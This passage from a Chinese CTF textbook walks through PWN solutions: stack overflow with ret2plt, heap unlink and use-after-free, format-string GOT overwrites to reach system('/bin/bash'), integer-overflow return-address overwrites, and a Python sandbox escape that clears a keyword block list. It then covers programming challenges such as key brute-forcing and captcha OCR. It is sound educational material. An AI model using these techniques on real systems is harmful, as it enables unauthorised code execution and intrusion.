 
 在汇编代码中可以找到PLT。尝试使用ret2plt对漏洞进行利用，具体如下。
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 确定溢出EIP的位置后，输入“A*52 + BBBB”，程序将跳转到0x42424242处，如图3-18所示。
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  图3-18
 
 
 
 接下来，需要构造Shellcode去执行system函数。system函数的PLT地址已经确定了，现在需要获取system参数。在程序中搜索，看看有没有我们需要的字符串（推荐使用pwntools）。搜索“/bin/bash”“/bin/sh”“sh”等可用字符串，发现存在“sh”字符串。直接使用该字符串，代码如下，结果如图3-19所示。
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  图3-19
 
 
 
 本地利用成功后，就可以根据题目给出的地址尝试进行远程利用，具体如下。
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 远程利用成功后，就可以到服务器中寻找flag.txt文件了。
 
 相关知识点
 
 本题主要考察栈溢出漏洞和ret2plt的利用方式。利用栈溢出漏洞转到PLT的system函数处，找到字符串“sh”的地址，构造栈空间，最后执行system("sh")函数。漏洞利用代码如下。
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 题目6　unlink堆溢出漏洞
 
 题目概况
 
 这是“百度杯”PWN专题中的一道题目。运行程序，具体如下。可以看出，这是一道关于堆的菜单题。
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 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，发现程序开启了大部分保护机制，具体如下。
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 使用IDA查看程序的伪代码，找出入口函数，具体如下。
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 add()函数的代码如下。
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 show()函数的代码如下。
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 edit()函数的代码如下。
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 kill()函数的代码如下。
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 由于add运算符用于控制malloc的大小，没有检查内存是否已经释放，因此，可以通过unlink利用该漏洞。
 
 块（chunk）的代码如下。
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 这是一个内存块。P标志位表示其前一个块已被分配。在释放当前块时，会检查前一个块和后一个块是否处于空闲状态，如果处于空闲状态，则执行unlink。
 
 unlink的代码如下。
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 找到保存该块的地址addr，构造“FD=addr-0x18”“BK=addr-0x10”以绕过检测，结果如下。
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 在本题中，add()函数申请的内存中保存了global_malloc，我们要做的就是获取add()函数申请的内存的地址，然后构造假数据（Fake Data）来触发unlink，步骤大致如下。
 
 ①获取堆地址。
 
 ②申请一个size值，使其为前两个堆块之和。然后，重新进行内存布局，释放堆块，触发unlink。
 
 ③获取libc的地址，然后根据给出的libc.so.6文件定位_freehook和system的地址。
 
 ④分别编辑前两个堆块（达到任意地址写的目的），将system写入_freehook。
 
 ⑤重新申请一块包含/bin/bash的内存，然后将其释放（相当于执行system("/bin/bash")函数）。
 
 （1）获取libc的地址
 
 首个块被释放后，FD将保存有关main_arena的信息。main_arena是已经初始化的静态全局变量，存放在libc.so.6的 .data位置，可用于获取libc的基址。
 
 通过堆块1确定libc的位置，具体如下，如图3-20所示。
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 （2）获取heap的地址
 
 释放堆块3。释放后，堆块3中保存着堆块1的地址，具体如下，如图3-21所示。
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 （3）触发unlink
 
 释放堆块2，构造被泄露的heap1地址，计算保存堆块2的地址global_malloc，然后构造Payload以触发unlink。此时，“global_malloc(heap2)”将被写成“global_malloc(heap2)-0x12”，具体如下，如图3-22和图3-23所示。
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  图3-20
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  图3-21
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  图3-22
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  图3-23
 
 
 
 （4）获取Shell
 
 再次向堆块2写内容，此时可以用任意地址覆盖堆块1。再次向堆块1写内容，实现任意地址写，具体如下，如图3-24和图3-25所示。
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  图3-24
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  图3-25
 
 
 
 相关知识点
 
 本题主要考察选手对Linux堆的理解。由于程序在释放内存时没有进行检测，因此需要构造假的块来触发unlink。漏洞利用代码如下。
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 题目7　UAF堆溢出漏洞
 
 题目概况
 
 UAF（Use After Free）堆溢出漏洞题目主要考察选手对Linux堆的理解。当程序使用一块已经释放的内存时，触发UAF漏洞即可控制EIP。
 
 本题是HCTF中的一道题目。运行程序，具体如下。
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 可以看出，程序的功能包括创建字符串、删除字符串。
 
 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，具体如下。
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 使用IDA查看程序的伪代码，具体如下。
 
 
  [image: ]
 
 
 创建字符串，具体如下。
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 删除字符串，具体如下。
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 在创建字符串时，有两种情形：如果输入的字符串大于16字节，那么字符串将被放到堆中，即“*(_QWORD *)&ptr->buf = dest”；如果输入的字符串小于等于16字节，那么字符串将被放到栈中，即“strncpy(&ptr->buf, &buf, nbytesa)”。然后，使“ptr->fun”分别指向各自用于释放内存的函数，等待调用删除字符串命令。
 
 在删除字符串时，首先要判断需要删除的内存id所对应的内存是否为空，即if(stru_2020C0[v1].d_un)。如果不为空，则应调用创建字符串时使用的赋值函数。如果最终没有将stru_2020C0[v1].d_un置空，就会出现UAF漏洞。
 
 本题考察的就是选手对UAF漏洞利用的掌握情况。
 
 创建3个字符串，然后将其删除。然后，创建第4个字符串，此时占用的内存是已经释放的内存“2”。由于输入字符串的大小为32字节，超过了栈的容量（16字节），所以，需要把输入的字符串保存在堆中，此时申请的内存正好是已经释放的内存“1”。再次删除内存“1”中的字符串，以控制EIP，具体如下，如图3-26所示。
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  图3-26
 
 
 
 由于程序开启了PIE，所以，可以只改写被释放的函数的后2字节，大致步骤如下。
 
 ①获取程序的地址。
 
 ②由于程序没有提供libc的地址，所以要找出程序的system函数的地址。
 
 ③利用UAF漏洞，执行system("/bin/bash")函数。
 
 （1）获取程序的地址
 
 利用UAF漏洞覆盖最后一个字节，转到puts()函数处。此时，输入的字符串正好在rdi寄存器中，我们可以通过它获取调用puts()函数的地址。根据偏移量计算程序的基址和调用printf()函数的地址，具体如下，如图3-27所示。
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  图3-27
 
 
 
 （2）获取libc的地址
 
 利用printf格式化漏洞和DynELF获取system函数的地址，具体如下。
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 （3）获取Shell
 
 利用UAF漏洞执行system("/bin/bash;cccccccccccccccc")函数，具体如下，如图3-28所示。
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  图3-28
 
 
 
 相关知识点
 
 本题主要考察选手对Linux堆的理解。根据程序设计思路，利用UAF漏洞控制EIP，利用格式化字符串漏洞获取libc信息。漏洞利用代码如下。
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 题目8　格式化字符串漏洞
 
 题目概况
 
 格式化字符串漏洞题目主要考察选手对Linux中printf()函数的理解，需要选手利用printf()函数产生的漏洞来解题。
 
 本题是“红帽杯”的一道PWN类赛题。运行程序，具体如下。
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 可以看出，程序循环读取输入的内容，然后进行输出。
 
 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，具体如下。
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 把程序放入IDA，找出main()函数。按“F5”键，查看main()函数的伪代码。程序在控制台中循环读取输入的内容，然后进行输出。但是，在输出时会直接输出printf(v0)，形成了格式化字符串漏洞。
 
 接下来，利用格式化字符串漏洞读取服务器中的flag.txt文件，具体如下。
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 大致步骤如下。
 
 ①利用格式化字符串漏洞，获取system函数的地址。
 
 ②利用格式化字符串漏洞，将printf()函数的got地址改成system地址。
 
 ③再次输入时，输入“/bin/bash”。这样，再次执行printf("/bin/bash")时，实际执行的是system("/bin/bsh")。
 
 在利用格式化字符串漏洞获取内存信息时，使用了 %s参数。通过 %s参数可以输出字符串，即将偏移处指针指向的字符串输出（例如，%i$s表示输出偏移i处的地址指向的字符串），从而读取任意地址的信息。
 
 在本题中，构造栈，然后输入“'%9$saabb' + p32(addr)”，即可将addr指向的内容以字符串的形式输出。结合pwntools的DynELF模块，寻找libc的地址和system函数的地址，具体如下。
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 在利用格式化字符串漏洞将printf()函数的got地址改写成system地址时，使用了 %n参数，具体如下。
 
 • %i$hhn：把前面打印的字符数写到偏移i处地址指向的1字节中。
 
 • %i$hn：把前面打印的字符数写到偏移i处地址指向的2字节中。
 
 • %i$n：把前面打印的字符数写到偏移i处地址指向的4字节中。
 
 同时，利用%x参数输出指定的个数（要写入的system地址的值）。在本题中分两次写入，具体如下。
 
 
  [image: ]
 
 
 最后，在执行read命令时输入字符串“/bin/bash\n”。等到调用printf()函数时，实际上调用的是system("/bin/bash")，具体如下。
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 本地利用成功，即可根据题目给出的地址进行远程利用，具体如下，如图3-29所示。
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  图3-29
 
 
 
 相关知识点
 
 本题主要考察格式化字符串漏洞的利用。通过该漏洞，会泄露任意地址信息，以及导致任意地址写。POC代码如下。
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 题目9　整数溢出（1）
 
 题目概况
 
 整数溢出题目主要考察选手对Linux平台整数型参数的理解。程序中的整数溢出漏洞常常伴随着其他漏洞（例如数组越界读写），需要选手综合利用多个漏洞来解题。
 
 本题是429 CTF的一道题目。运行程序，具体如下。
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 程序看起来像是对一个大小为10的数组赋值。
 
 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，具体如下。
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 使用IDA查看程序的伪代码，找出入口函数，具体如下。
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 在sub_80486EC()函数处读取9个字符（等于v1寄存器的大小），输出内容如下。
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 在sub_80485E7()函数处循环10次，读取数组索引和数组的值并将其保存到变量s中，当v1寄存器的值大于9时直接退出，具体如下。
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 没有发现直接的栈溢出漏洞。仔细分析3个输入点，发现在输入数组索引值时没有判断其是否大于等于0。尽管这可能导致接下来给数组赋值时发生向上溢出，但该漏洞无法被利用。继续分析，在给数组赋值时，因为int类型的数据长度是4字节，所以对应的索引值需要乘以4。这会导致整数溢出（可能把一个负数溢出为正数），即绕过v1寄存器中的数据大于9个字符时直接退出的限制，导致向下溢出。与此同时，如果可以控制输入的内容，就可以修改函数的返回地址，从而得到控制流。大致步骤如下。
 
 ①确定覆盖返回地址时数组的大小。
 
 ②确定“system”“/bin/bash”等字符串的地址。
 
 ③利用整数溢出，将函数返回地址覆盖为system函数的地址，参数为字符串的地址。
 
 对于数组s，当“4*v1 = 56(111000)”时，正好是函数的返回地址。乘以4，也就是左移2位，此时有“v1(1110)=14”或“(1000 0000（6个）1110)=-2147483634”。对应的字符串参数的值是64，即输入“(1000 0000（5个） 0001 0000)=-2147483632”。
 
 确定了溢出的大小，接下来就要寻找system函数和需要的字符串了。system函数的PLT在汇编代码中，具体如下。
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 利用pwntools找出“sh”字符串，具体如下。
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 整数溢出漏洞的利用结果，如图3-30所示。
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  图3-30
 
 
 
 如果可以在本地利用整数溢出漏洞，就可以根据题目给出的地址进行远程利用，具体如下。
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 相关知识点
 
 本题主要考察整数溢出漏洞。利用整数溢出漏洞，可以实现任意地址写。最后，利用system函数获取Shell。漏洞利用代码如下。
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 题目10　整数溢出（2）
 
 题目概况
 
 与本节的“题目9”类似，本题也是一道整数溢出题目。
 
 运行程序，具体如下。
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 程序看起来像是在对一个数组进行操作。
 
 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，发现程序开启了大部分保护机制，具体如下。
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 使用IDA查看程序的伪代码，找出入口函数，具体如下。
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 看起来，程序的主要功能在sub_B85()函数中。sub_B85()函数的代码如下。
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 在sub_B85()函数中，循环4次读取数组索引，输出当前数组的值，然后重新读取输入的值并保存到数组中。当输入索引的值大于3时，直接退出。
 
 在以上代码中，我们没有发现直接的栈溢出漏洞。仔细分析3个输入点，发现在输入数组索引值时，没有判断其是否大于等于0，这可能导致接下来给数组赋值时发生向上溢出（该漏洞无法被利用）。
 
 在给数组赋值时，因为int类型的数据长度是4字节，所以对应的索引值需要乘以4。这会导致整数溢出（可能把一个负数溢出为正数），即绕过v1寄存器中的数据大于3个字符时直接退出的限制，导致向下溢出。与此同时，如果可以控制输入的内容，就可以修改函数的返回地址，从而得到控制流。接下来，可利用整数溢出和数组越界读写获得Shell。大致步骤如下。
 
 ①确定覆盖返回地址时数组的大小。
 
 ②由于程序开启了PIE，所以首先要获取程序当前的地址。
 
 ③确定“system”“/bin/bash”等字符串的地址。
 
 ④利用整数溢出将函数的返回地址覆盖为system函数的地址，参数为字符串的地址。
 
 （1）整数溢出
 
 对于数组s，当“4*v1=344(101011000)”时，正好是函数的返回地址。乘以4，也就是左移2位，有“v1(1010110)=86”或“(1000 0000(..)0101 0110)=-2147483562”。
 
 此时，可以输出程序的返回地址，如图3-31所示。
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  图3-31
 
 
 
 （2）绕过PIE
 
 由于本题的程序开启了PIE，所以，要想获取system函数的地址，首先要获取程序当前的地址。在栈中保存了程序当前的地址信息，可以利用数组s进行越界读取，获取栈中的信息，如图3-32所示。
 
 （3）获取system函数的地址
 
 利用数组越界写漏洞执行printf()函数，此时输入的数据正好在rdi寄存器中。利用格式化字符串漏洞和DynELF模块获取system函数的地址，如图3-33所示。
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  图3-32
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  图3-33
 
 
 
 （4）获取Shell
 
 再次执行存在漏洞的函数，利用数组越界写漏洞将函数的返回地址改为system函数的地址。由于函数执行结束前允许输入数据的长度最多为9字节，所以，可以知道在函数执行前输入的是“/bin/sh”，如图3-34所示。
 
  
  [image: ] 
  图3-34
 
 
 
 （5）脚本
 
 脚本代码如下。
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 题目11　Linux随机数
 
 题目概况
 
 Linux随机数题目主要考察选手对Linux平台随机数的理解，要求选手根据Linux平台随机数的特性来解题。
 
 运行程序，具体如下。
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 解题思路
 
 程序目录下有两个可执行程序，一个是hmt，另一个是solver。
 
 首先，分析一下hmt程序的流程。使用IDA查看程序的伪代码，寻找入口函数。通过输入“vul”，来到vul()函数处，具体如下。
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 通过vul()函数的代码可知，v7寄存器存储的是通过本地时间计算的随机数，如果argv和v7的值相等，就继续判断是否在循环88次后调用flag()函数（输出本地flag）；只要有一处不相等，就要回到交互界面，重新进行计算。所以，需要先将本地当前系统时间放到srand()函数中生成种子，再使用rand()函数生成随机数，具体如下。
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 这时我们就能明白为什么系统中有另一个二进制程序solver了。将程序放到IDA中，通过main()函数的代码可知，v3寄存器先获取本地时间并将其放入srand()函数，以生成种子，再通过rand()函数产生随机数并打印，具体如下。
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 这样，解题思路就很清晰了，只要获取对方服务器中的solver程序产生的随机数并发送给hmt程序即可。hmt程序使用8888端口，solver程序使用9998端口，具体如下。
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 根据题目要求，循环次数超过88次即可。我们进行91次循环，漏洞利用代码如下。
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 成功获取flag，如图3-35所示。
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  图3-35
 
 
 
 
 3.3　Python PWN
 
 除了Windows、Linux平台上的PWN类赛题，有时我们会遇到与Python有关的PWN类赛题。
 
 题目　Python沙盒绕过
 
 Python沙盒绕过题目主要考察选手对Python相关特性的熟悉程度。
 
 这种题目给出的代码通常会移除Python内置函数，并设置一些苛刻的条件，需要选手突破程序设置的限制，拿到flag。
 
 题目概况
 
 服务器上运行了一个Python程序，通过该程序可以执行基础的Python表达式。为了确保服务器的安全，程序已经过滤了一些有威胁的函数。选手需要通过尝试，获取服务器中存储的flag。
 
 解题思路
 
 题目给出了服务端程序的源代码文件shell.py，其内容如下。
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 使用nc等工具连接题目给出的主机地址和IP地址后，会得到一个运行了以上脚本文件的Shell，如图3-36所示。
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  图3-36
 
 
 
 在输入内容前，需要分析脚本代码。在解答本题时，需要想办法绕过代码前半部分的检测逻辑，到达最后一个语句“exec data”处来执行输入的Python脚本代码，然后通过执行命令的方式到服务器端获取flag。为了确保安全性，除了print()和raw_input()两个内置函数被保留下来，其余的builtins内置函数都不允许使用。
 
 在这里简单介绍一下什么是内置函数。如果读者接触过Python语言，就会知道Python功能强大的原因是有丰富的内置库及第三方库的支持。这些库之所以可以使用，是因为它们是在Python脚本的开头通过import语句引入的。但是，Python不使用库就什么都不能做吗？答案是否定的。例如，在空白的Python脚本文件中使用print、ord、hex、open、list、range、len等函数时，就不需要引入任何库（因为这些函数是Python的内置函数）。在日常使用中，可以执行“print __builtins__.__dict__.keys()”命令浏览Python的内置函数。
 
 在本题给出的代码中，除了输出和输入两个函数，其他内置函数都被屏蔽了。此外，代码会检测我们输入的内容。如果输入的内容包含banned列表中的任何一个关键字，程序运行都将中断。
 
 我们除了能使用print()函数打印一些字符，还能做什么呢？现在，我们连flag在哪里都不知道。根据经验，flag应该是服务器当前目录下的一个文本文件。下面我们就来解决这个棘手的问题。
 
 第一种方法是在我们自己的主机所配置的Python环境中进行如下验证，看看列表的父类是什么。
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 毫无疑问，列表的父类就是列表。继续向上，看看列表的顶层类是什么，具体如下。
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 这里也没有什么可解释的。list类是object类的一个子类，而我们想要知道object类有哪些子类，具体如下。
 
 
  [image: ]
 
 
 由于object类的子类很多，所以这里只列出了一部分，其中就有我们需要的file类。如果要使用file类，就需要知道它的索引值，这样才可以在列表中找到它的位置并使用它，具体如下。
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 因为此索引值在不同版本的Python中可能不同，且我们不知道本题服务器的Python版本是哪个，所以可能需要多次尝试。
 
 既然有了file类的索引值，就可以使用它来读取文件。猜测flag所在的文件为flag.txt，尝试读取该文件，如图3-37所示。
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  图3-37
 
 
 
 竟然没有输出任何内容——难道没有flag.txt这个文件吗？根据常识和尝试结果，如果使用file类打开一个不存在的文件，就会抛出IOError错误，但在这里却没有。所以，问题应该不是没有flag.txt文件。
 
 添加一个打印函数，会得到什么结果呢？再次尝试，如图3-38所示。
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  图3-38
 
 
 
 得到了最终的flag“not_your_average_python”。
 
 为什么要使用print()形式而不是print形式呢？因为在本题源代码文件的开头有“from__future__import print_function”，future模块提供了一些将要引入的特性。这是Python 3的特性，print_function是一个新的print函数。如果导入此特性，那么之前版本中的print语句就无法使用了。所以，在这里应该使用print()形式。
 
 第二种方法是让使用os库的system函数执行系统命令以读取文件。在这里也利用了通过以上方法获取的base的subclasses()，但我们要寻找的不是file类，而是warnings.catch_warnings类（可以在subclasses()中找到，具体操作就不展示了）。我们要做的就是找到这个类的索引值，然后加以利用。在本机环境中进行测试，具体如下。
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 现在，就可以通过此索引值对warnings.catch_warnings类加以利用了。
 
 warnings.catch_warnings类的func_globals（全局名称空间字典）如下。
 
 
  [image: ]
 
 
 在以上模块中，linecache是我们感兴趣的。原因是什么呢？请往下看。
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 看到以上输出结果，有没有茅塞顿开的感觉？其中就有我们需要的os模块。接下来，就可以确定os库在linecache中的索引值并加以利用了，具体如下。
 
 
  [image: ]
 
 
 现在我们已经得到了os库的使用权，可以直接使用os模块的system函数。但是，需要注意：banned列表中存在“sys”关键字，如果直接使用system函数，就会被过滤。因此，需要到os模块中寻找system函数的索引值，具体如下。
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 准备工作全部完成，下面就可以对题目给出的代码进行操作了，如图3-40所示。
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  图3-40
 
 
 
 第三种方法是解答本题最简单的方法。通过题目给出的代码可知，sys模块已被加载，而os模块存在于sys.modules中，“sys”“os”关键字存在于banned列表中，所以不能直接进行利用。设想一下：如果将banned列表清空，或者给它赋一个空值，结果将会如何？思路如下。
 
 banned是全局变量。在Python中，可以使用globals()函数得到所有全局变量。但是，本题代码中所有的Python内置函数都被移除了，无法使用。因此，需要利用一个函数对象的内部globals变量绕过此限制。函数对象从哪里获取呢？在这里要感谢lambda表达式，它就是用来处理这个问题的——可以将一个函数写成“lambda:1”的形式。
 
 虽然现在我们可以得到所有的全局变量了，但是，要想给banned重新赋值，就要解决一个问题：现在，“banned”是一个处在“黑名单”中的关键字，不能直接使用。
 
 对这个问题，可以使用字符串拼接的方法绕过，即构造“'banned'='ban'+'ned'”。直接进行操作，代码如下。
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 banned列表被赋予空值，所有被禁用的Python内置函数就都可以使用了。
 
 直接调用sys.modules['os']，如图3-41所示。
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  图3-41
 
 
 
 小结
 
 本题的出题者设计Python沙盒的思路，不是创建一个独立的Python环境，而是移除Python的内置函数并设置一些苛刻的条件。
 

  第4章　PPC类赛题


  “PPC”是“Professionally ProgramCoder”的缩写，其字面意思表示，解答此类题目需要选手有一定的编程基础。


  解答PPC类赛题一般不需要选手“脑洞大开”。例如，给出需求，要求选手通过编写代码来实现需求。此类题目可能要求选手在短时间内写出脚本，而对算法等方面的要求不是特别严格，只要能在较短的时间内解决问题即可。

 
 4.1　工具编写
 
 工具编写题目，一般会给出编程环境，需要选手根据题目要求完成目标工具的编写。例如，本节将要分析的两道题目，就需要选手按照题目要求写出暴力破解程序，获得flag。
 
 题目1　LostKey
 
 题目概况
 
 题目标题为“LostKey”。
 
 小明同学正在学习PHP加解密算法。他通过自定义的iv和key对明文进行加密，得到密文；对字符串“studycrypt”进行加密，结果为“ebe53d6d90d6e5c6529a374a8fd3b0e8”。但是，初始文档损坏了（尽管iv还存在，但key的后4位变成了乱码）。你能帮小明同学找回原来的key吗？代码如下。
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 解题思路
 
 通过题目描述可知，其目的是让我们编写一个简单的脚本，破解key值的后4位。
 
 由于key值后4位的取值范围为0000～ffff，所以，我们可以直接修改题目给出的PHP脚本，增加一个简单的循环。当key的值与期望的值相同时，加密后的值为“ebe53d6d90d6 e5c6529a374a8fd3b0e8”。
 
 按照以上思路修改PHP脚本，具体如下。
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 小结
 
 除了PHP脚本，还可以使用其他语言来解答本题。笔者习惯使用的是Python。不过，因为本题已经给出了一些代码，所以我们只需要在这些代码的基础上进行少量的修改。在比赛中，这样做可以给解答其他题目争取时间。
 
 题目2　addcodes
 
 题目概况
 
 题目标题为“addcodes”。
 
 如图4-1所示，题目给出了一些无规律的验证码图片，需要选手识别图片中每一位的内容，然后将所有数字的乘积（去掉0）及所有数字的和计算出来。
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  图4-1
 
 
 
 解题思路
 
 将题目提供的验证码图片下载下来，发现一共有290多张，每张图片上都有一组4位字母或数字。
 
 题目要求是识别所有图片上的数字，然后进行计算。所以，首先将图片降噪，即对图片进行二值化处理，然后对图片进行切割处理，对图片上的每一位建模，以识别其内容，取得需要的数据，最后进行计算。虽然这是一种可行的解题思路，但我们也要学会使用现成的工具。
 
 在这里推荐使用tesseract，这样我们只要对图片进行二值化处理，然后对识别算法进行训练，就可以取得想要的数据了。笔者使用的是OS X操作系统。在命令行环境中执行“brew install tesseract”命令，即可安装tesseract。tesseract在Linux的许多发行版本中都已经默认安装了。Windows用户可以访问链接4-1，下载已编译的版本，或者下载源代码后自己编译使用。
 
 接下来，访问链接4-2，下载样本训练工具。这是一个Java程序，使用该工具时需要系统中有Java环境。
 
 由于题目给出的图片的内容都是简单的数字和字母，所以，需要将图片全部进行二值化处理，然后进行样本训练，最后进行图片的二值化操作，代码如下。因为需要处理的图片数量不多，所以不需要使用多线程。处理本题所有图片，耗时不到1秒。
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 处理后的图片，如图4-2所示。
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  图4-2
 
 
 
 接下来，就可以对这些图片进行样本训练，以提高识别的准确率了。为了避免出现类似将大写字母“I”识别成数字“1”的情况，需要将含有大写字母“I”的图片全部去除。此外，不修改图片名称是为了便于在训练中进行验证。如何进行样本训练，在这里就不详细介绍了，请读者通过网络搜索“Tesseract-OCR 样本训练”获取详细的教程。
 
 样本训练完成后，我们可以编写一个脚本，将所有图片中的数字取出，然后计算它们的和与积。
 
 将训练好的样本放到tesseract安装目录的tessdata目录中，具体如下。
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 将数字全部取出，对结果进行处理，然后进行计算，即可得到flag。
 
 
 4.2　算法
 
 算法赛题是CTF比赛中必不可少的，难度相对较高。算法赛题主要考察选手的逆向分析和编程能力。
 
 题目1　Code400
 
 题目概况
 
 题目标题为“Code400”。
 
 这是一道编程题目，给出了一个名为“code400.py”的Python脚本，其内容如下。
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 解题思路
 
 Python脚本的内容具体如下，如图4-3所示。
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 脚本告诉我们“the answer to life the universe and everything”，且不要到网上去搜索。出于好奇，我们搜索一下，如图4-3所示。
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  图4-3
 
 
 
 得到明文，具体如下。
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 通过“if ord(key[4])*(ord(key[5])-5)!= 17557:”可以知道，k[4]和k[5]的值有如下两种情况。
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 现在我们还是不知道key[0] - key[3]的值。暂时把这个问题放下，继续在题目给出的脚本中寻找可用的条件。通过“if base64.b64encode(answer)== "fm2knkCBHPuhCQHYE3spag==":”可知“answer = "\x7e\x6d\xa4\x9e\x40\x81\x1c\xfb\xa1\x09\x01\xd8\x13\x7b\x29\x6a"”。此外，找不到其他可以使用的条件了。
 
 接下来，破解key的值，具体如下。
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 key[0]有256×2种情况，key[1]有256×256×256种情况，所以，一共有2564×2=8589934592种情况，具体如下。
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 大约用了25分钟，得到key值“\x81\x69\x37\x88\x61\xBA”。
 
 使用key值计算filename，结果为“5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9 edac27a28a0f3ba753f4.txt”，代码如下。
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 将该值提交，得到flag。
 
 小结
 
 这道题难度不高，主要考察选手阅读和编写代码的能力。笔者在解题时编写的C++脚本也可以使用Python来完成，但Python脚本的运行速度要比C++脚本慢。
 
 了解出题人的思路，按照思路一步一步写出代码，就可以完成这道题。
 
 题目2　迷宫大逃亡
 
 题目概况
 
 你掉进了一个连环迷宫。在这个连环迷宫中有T个迷宫，说明如下。
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 解题思路
 
 CTF赛题大都有其目的性，在页面中一般会给出指引，所以，认真阅读题目页面的内容、了解题目所提供的程序的功能，可以有效地帮助我们找到题目的考察点。
 
 在本题中，我们掉进了一个连环迷宫。在这个连环迷宫中共有T个迷宫，每个迷宫都有如下信息：迷宫大小n（表示这是n×n的迷宫），迷宫入口坐标，迷宫出口坐标，迷宫地图（由“X”和“O”组成的n行n列的迷宫：“X”表示障碍物，即不可走；“O”表示可走）。如果走出这个迷宫，那么我们将得到一个1；否则，我们将得到一个0。
 
 这T个0和1就是走出这个连环迷宫的钥匙，如图4-4所示。
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  图4-4
 
 
 
 当T=2时：
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 那么，key值为10。
 
 题目还给出了提示：这T个迷宫都在in.txt文件里，这个文件的第一行就是T，接下来就是这T个迷宫的信息（即key值）。
 
 通过分析可知，本题是一个典型的迷宫连通性问题。因此，定义两个二维数组，一个用于存储节点，另一个用于存储连通状态，使用深度优先搜索（Depth First Search，DFS）即可得到答案。时间复杂度nlogn的代码如下。
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 得到了一堆0和1，具体如下。
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 这么长的内容肯定不是答案。将其转换成ASCII码，具体如下。
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 得到一串Base64编码。对其进行Base64解码，即可得到flag。
 
 相关知识点
 
 深度优先搜索是图算法的一种，其过程简单地说是对每一个可能的分支路径深入探索到不能再深入为止，且每个节点只访问一次。
 
 深度优先遍历的策略是：从顶点v出发，首先将v标记为已遍历的顶点，然后选择一个与v邻接的尚未遍历的顶点u；如果u不存在，则本次搜索终止，如果u存在，则从u开始进行一次DFS；如此循环，直到不存在这样的顶点位置为止。如图4-5所示：从顶点0开始，将0标记为已遍历，选择与顶点0邻接且未被遍历的顶点1；标记顶点1，选择顶点3并对其进行标记，然后选择与顶点3邻接的顶点2；顶点2被标记后，由于没有与它邻接的未标记的顶点，所以返回顶点3，选择与顶点3邻接且未被标记的顶点4；顶点4没有与其他符合条件的顶点邻接，因此返回顶点3；顶点3没有与其他符合条件的顶点邻接，因此返回顶点1；最后，返回顶点0，搜索终止。
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  图4-5
 
 
 
 实现思路如下。
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 题目3　能看到吗
 
 题目概况
 
 题目页面上有一个解题链接。打开这个链接，如图4-6所示。
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  图4-6
 
 
 
 解题思路
 
 打开题目，首先要了解页面的内容和功能。前面提到过，CTF赛题大都有其目的性，在页面中一般会给出指引，所以，认真阅读题目页面的内容、了解题目所提供的程序的功能，可以有效地帮助我们找到题目的考察点。
 
 根据题目给出的提示，压缩包里有很多图片验证码，将每幅图片上的数字与图片文件名的积相加得到的结果，就是这道题的答案。
 
 下载压缩包并解压，可以知道，图片都是40像素×10像素的，每幅图片中有且只有4个数字，所有的数字都没有经过处理（变形、局部显示等），如图4-7所示。
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  图4-7
 
 
 
 由此可见，解答本题的关键是识别图片上的数字。
 
 图片文件的属性，如图4-8所示。
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  图4-8
 
 
 
 因此，可以使用像素点比对的方式进行识别。笔者在解题时使用的是Java代码。打开Eclipse，新建一个Java工程，如图4-9所示。
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  图4-9
 
 
 
 在该工程下创建两个类文件，如图4-10所示。
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  图4-10
 
 
 
 Recognize.java主要用于识别图片验证码，如图4-11所示。
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  图4-11
 
 
 
 CheckSum.java主要用于读取文件、计算数值，如图4-12所示。
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  图4-12
 
 
 
 计算结果如图4-13所示。
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  图4-13
 
 
 
 相关知识点
 
 验证码的识别步骤如下。
 
 （1）取出干扰素
 
 干扰素的一个重要特征是不会影响验证码的显示效果。所以，干扰素的RGB值可能低于或高于某个特定值。
 
 （2）取出字模
 
 由于不同网站的验证码不同，所以，通常采取的方法是建立验证码的特征码库。在取字模时，需要多收集一些图片信息，使这些图片包含所有字符。一般来说，字符为0～9、a～z，如图4-14所示。
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  图4-14
 
 
 
 使用画图工具查看图片，可以看出有45个像素点——这就够了。此外，默认区域是白色的（暂且说是白色的，因为我们用肉眼看就是白色的）。因此，程序识别的原理就是固定扫描这45个像素点，看看每个像素点的颜色是否与默认的颜色一致。如果一致，就标记为0；如果不一致，就标记为1。例如，对数字2，程序扫描得到的图像值如下。
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 （3）二值化
 
 图片中的验证字符上的每个像素都用数字1表示，其他部分用数字0表示，这样，就可以计算每个数字的字模了。
 
 （4）计算特征
 
 对需要识别的图片进行二值化，得到图片的特征。
 
 （5）对照样本
 
 将前面通过计算得到的图片特征码和验证码字模进行对比，得到验证图片中的数字。
 
 
 4.3　竞速
 
 竞速题目也属于PPC类赛题，通常需要选手根据题目给出的要求优化算法，并在规定时间内拿到flag。
 
 题目1　百米赛跑
 
 题目概况
 
 题目给出了一个Web页面，如图4-15所示。打开页面，提示“这是一道计算题”，需要选手进行计算并填写结果。
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  图4-15
 
 
 
 解题思路
 
 打开页面，发现计算难度不大，但计算并填写答案后，提示答案错误，同时题目也自动刷新了。失败的原因是题目对提交答案进行了时间限制，超时即判失败。解题思路为：编写一个程序，用程序抓取题目给出的数字进行计算并自动提交（以获得最佳的计算速度）。
 
 使用Burp Suite抓包，得到GET请求和POST请求的URL，通过正则表达式匹配题目内容并进行计算，得出结果后自动提交到相应的URL。笔者编写的Python代码如下。
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 在以上代码中有一些要点：为了解析HTML文件，需要导入BeautifulSoup库；需要删除字符串中的空格；需要将题目中的乘号“×”替换成“*”，然后以POST方式提交计算结果。
 
 小结
 
 本题比较简单，没有“暗桩”和“陷阱”，对选手的编程水平要求不高。选手只要了解题目的要求并编写代码，即可获得答案。
 
 题目2　速度爆破
 
 题目概况
 
 题目内容如下。
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 解题思路
 
 根据题目内容可知，在2秒内填入一个整数，其经过MD5和SHA1加密计算即可得到题目提供的整数。用公式表示为sha1(md5(x))==y。
 
 解答本题，只需要编写一个爆破程序，具体如下。
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 代码问题解答
 
 是不是觉得这道题其实不难？事实上并非如此。
 
 这道题主要考察的知识点是会话请求。相信一开始很多选手会将脚本写成下面这样。
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 这段代码看起来似乎没有问题，但运行时会一直报告“Time expired”错误。这是什么原因导致的呢？
 
 将这段代码和正确的代码进行比较，可以发现：正确的代码采用会话对象（session =requests.Session()）的方式向网站发出请求，而错误的代码通过requests直接向网站发出请求。两者有什么不同？
 
